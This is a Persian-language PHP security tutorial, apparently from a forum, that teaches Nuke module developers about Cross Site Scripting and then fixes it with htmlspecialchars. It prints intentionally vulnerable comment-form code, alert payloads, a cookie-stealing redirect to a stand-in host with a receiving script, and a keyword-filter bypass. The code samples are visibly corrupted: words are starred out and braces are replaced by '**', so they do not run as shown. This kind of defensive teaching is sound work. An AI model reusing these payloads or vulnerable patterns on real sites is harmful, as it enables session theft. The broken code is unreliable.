جلسه اول-
امنیت در php
این مقاله ادامه دارد و به اموزش php ,اجاکس و جاوا اسکیریبت و انتقال کربران از سیستم های مدیرت محتوا و انجمن ها به نیوک فارسی 8.3 در نسخه های بعد میپردازد.
این مقاله فقط برای برنامه نویسان ماژول و بلوک برای نیوک تهیه کردم با همکاری یکی از دوستان خودم تهیه شده :
تزریق اسکریپتهای سمت کاربر (Cross Site Scripting)
در این گونه حملات مهاجم بر روی نقطه ضعف برنامه شما برای کار با ورودی های کاربر که می توانند یک کد HTML یا جاوااسکریپت باشند متمرکز می شود.
کد: انتخاب همه
<?PHP
$filename="aa";
if (isset($HTTP_POST_VARS['comment'])
and !empty($HTTP_POST_VARS ['comment']))**
if (!$handle = fopen($filename, 'a')) **
echo "Cannot open aa file";
exit;
}
if (fwrite($handle, $_POST['comment']."\n") === FALSE) **
echo "Cannot write to file";
exit;
}
echo "Success";
fclose($handle);
}
?>
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
$handle = @fopen($filename, "r");
$contents = @fread($handle, filesize($filename));
echo nl2br($contents);
@fclose($handle);
?>
</span>
تا اینجای کار همه چیز عادیست . حال بیایید عبارت زیر را به برنامه بدهیم:
کد: انتخاب همه
<H1>This is the HTML code injection</H1>
کد: انتخاب همه
Success, wrote
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
hi<br />
<H1>This is the first HTML injection</H1>
<
br />
</span>
بنابراین می توان تگ های HTML را در این برنامه وارد کرده و مرورگر را به تفسیر آن ها واداشت.این امر در مورد جاوا اسکریپت و امثالهم نیز صادق است.من عبارت زیر را به برنامه میدهم.
کد: انتخاب همه
<script>alert("This is injected **********!")</script>
همان گونه که پیشتر اشاره کردم ایده کلی این گونه حملات استفاده از زبان های کلاینت ساید برای حمله به کاربران استفاده کننده از برنامه یا وب سایت است.
حال تصورش را بکنید که یک مهاجم چگونه می تواند از تگ هایی مثل IFRAME , OBJECT , FORM,SCRIPT ?و ... سواستفاده کند.
کد: انتخاب همه
<?PHP
$filename="1";
$value=$ HTTP_POST_****IE["Test****ie"]+1;
set****ie("Test****ie", $value, time()+3600);
if (isset($HTTP_POST_VARS ['comment'])
and !empty($HTTP_POST_VARS ['comment']))**
if (!$handle = fopen($filename, 'a')) **
echo "Cannot open file ($filename)";
exit;
}
if (fwrite($handle, $_POST['comment']."\n") === FALSE) **
echo "Cannot write to file ($filename)";
exit;
}
echo "Success, wrote";
fclose($handle);
}
?>
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
$handle = @fopen($filename, "r");
$contents = @fread($handle, filesize($filename));
echo nl2br($contents);
@fclose($handle);
?>
با وارد کردن کد زیر می توان به کوکی ها و مقادیر آن ها دسترسی داشت.
کد: انتخاب همه
<script>alert(document.****ie)</script>
کد: انتخاب همه
<script>document.location .replace('http://sample.com/steal****.php?****ie='+document.****ie);</script>
کد: انتخاب همه
<?PHP
echo $_GET['****ie'];
?>
ایجاد امنیت
ال که با شیوه حملات تزریق اسکریپت سمت کاربر که Cross Site Scripting یا به اختصار XSS نامیده می شوند آشنا شده اید وقت آن است که با مکانیزم های ایمن سازی برنامه در مقابل این گونه حملات نیز آشنا شئید.
راه حل شما برای مقابله با این گونه حملات ***** کردن ورودی های کاربران ، برای این گونه روش ها و اسکریپت ها می باشد.بعضی از برنامه نویسان برای حل این موضوع در صورتیکه ورودی کاربر دارای <? یا > باشد آن را کاملا غیر قابل قبول فرض کرده و به کاربر پیغامی مبنی بر عدم ورود این گونه کاراکنر ها میدهند.این شیوه به هیچ وجه مقبول نیست زیرا:
1- ممکن است کاربر به هر دلیل بخواهد از < یا > در نوشته خود استفاده کند
2- همان طور که در قسمت قبلی مقاله گفته شد الزاما مهاجم از < یا > در حملات خود استفاده نخواهد کرد.
3- بعضی دیگر در صورتی که کد حاوی کلمه ای خاص مثل script باشد آن کلمه را از درون متن حذف میکنند.
مثال:
کد: انتخاب همه
<?PHP
$filename="1";
$comment=$_POST['comment'];
$comment=str_ireplace ( "script", "", $comment);
if (isset($comment) and !empty($comment))**
if (!$handle = fopen($filename, 'a')) **
echo "Cannot open file ($filename)";
exit;
}
if (fwrite($handle, $comment."\n") === FALSE) **
echo "Cannot write to file ($filename)";
exit; }
echo "Success, wrote";
fclose($handle);
}
?>
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
$handle = @fopen($filename, "r");
$contents = @fread($handle, filesize($filename));
echo nl2br($contents);
@fclose($handle);
?>
من در این برنامه عبارت زیر را وارد می کنم و نتیجه:
کد: انتخاب همه
<script>alert(document.****ie)</script>
روش فوق نیز آسیب پذبراست زیرا:
1- همان طور که در مقاله قبل گفته شد مهاجم می تواند از سایر تگ های HTML مثل <a> استفاده کند
2- در صورتیکه مهاجم چنین عبارتی را وارد کند قیلتر برنامه شما را دور زده است
کد: انتخاب همه
<scscriptript>alert(document.****ie)</scscriptript>
زیرا برنامه عبارت script را از داخل تگ ها حذف میکند و در نهایت چنین عبارتی پدید می آید:
کد: انتخاب همه
<script>alert(document.****ie)</script>
برنامه شما باید بتواند معادل هگزادسیمال عبارات فوق را نیز تشخیص داده و بر روی آن نیز *****یتگ انجام دهد.
اگوریتم برنامه خود را حتما ً قبل از انتشار تست و بررسی کنید و راه هایی را که ممکن است یک نفوذ گر از طریق آن ها ***** برنامه شما را دور بزند مسدود نمایید.
یک نمونه جالب برای بررسی چگونگی دادن اختیارات به کاربران همراه با در نظر گرفتن نکات امنیتی ?BBCODE هاییست که در فوروم هایی مانند PHPBB برای امکان دادن به کاربر برای درج عکس یا لینک در پست تعبیه شده است.به این ترتیب که مثلا ورود عبارت در صفحه نمایش به صورت تگ <a> نمایش داده می شود.در برنامه ای مانند PHPBB از طریق Regular expression این امر تحقق یافته است اما حتی در چنین برنامه ای نیز یه مهاجم خبره با خواندن دقیق کد می تواند مشکلات امنیتی را کشف نماید.برای مثال در تمامی نسخ PHPBB(تا 14) می توان یک لینک مخرب به پست اضافه کرد.
در صورتیکه از PHP استفاده می کنید تابع htmlspecialchars تابعی مناسب برای ***** کردن ورودی هاست.بررسی الگوریتم مورد استفاده در این تابع برنامه نویسان سایر زبان ها را نیز برای نوشتن الگوریتم ایمن سازی ورودی یاری خواهد کرد.
کد ما به این شکل می شود در اخر در خط 4 دقت کنید
کد: انتخاب همه
<?PHP
$filename="1";
$comment=$_POST['comment'];
$comment= htmlspecialchars($comment);
if (isset($comment) and !empty($comment))**
if (!$handle = fopen($filename, 'a')) **
echo "Cannot open file ($filename)";
exit;
}
if (fwrite($handle, $comment."\n") === FALSE) **
echo "Cannot write to file ($filename)";
exit; }
echo "Success, wrote";
fclose($handle);
}
?>
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
$handle = @fopen($filename, "r");
$contents = @fread($handle, filesize($filename));
echo nl2br($contents);
@fclose($handle);
?>
</span>
یکی از نکاتی که متاسفانه بسیاری از برنامه نویسان به آن توجه نمی کنند اعتبار سنجی فرم ها در سمت کاربر بوسیله زبان هایی مثلا جاوااسکریپت است.یک مهاجم بسادگی میتواند صفحه را ذخیره کرده،اسکریپت اعتبار سنجی را حذف کند و متد action ?فرم را دستکاری و مقادیر فرم را ارسال کند.راه بسیار ساده تر استفاده از ****** هایی مثا Achilles است.بدین ترتیب که مقادیر قبل از ارسال از سیستم کاربر به خارج توسط این گونه نرم افزار ها بین راه دریافت شده و مهاجم بسادگی می واند آن ها را ویرایش کند.در مبحث حمله به کوکی ها یک نمونه از این عمل را نمایش خواهیم داد.
در مجموع فراموش نکنید که امنیت در تمامی زمینه ها به خلاقیت و آگاهی شما بستگی دارد.شما برای ایمن سازی نیازمندید که محیط کار خود را به خوبی بشناسید.بهترین متخصصان امنیتی دنیا هم هیچ وقت نمی تواندد امنیت سیستمی را صد در صد تضمین کنند.تنها کاری که یک مشاور امنیتی می کند پایین آوردن درصد ریسک است و لا غیر.
با تشکر
در ضمن این آموزش ها با اجازه اقای جنت دوست (irteam_online) صورت می پزیرد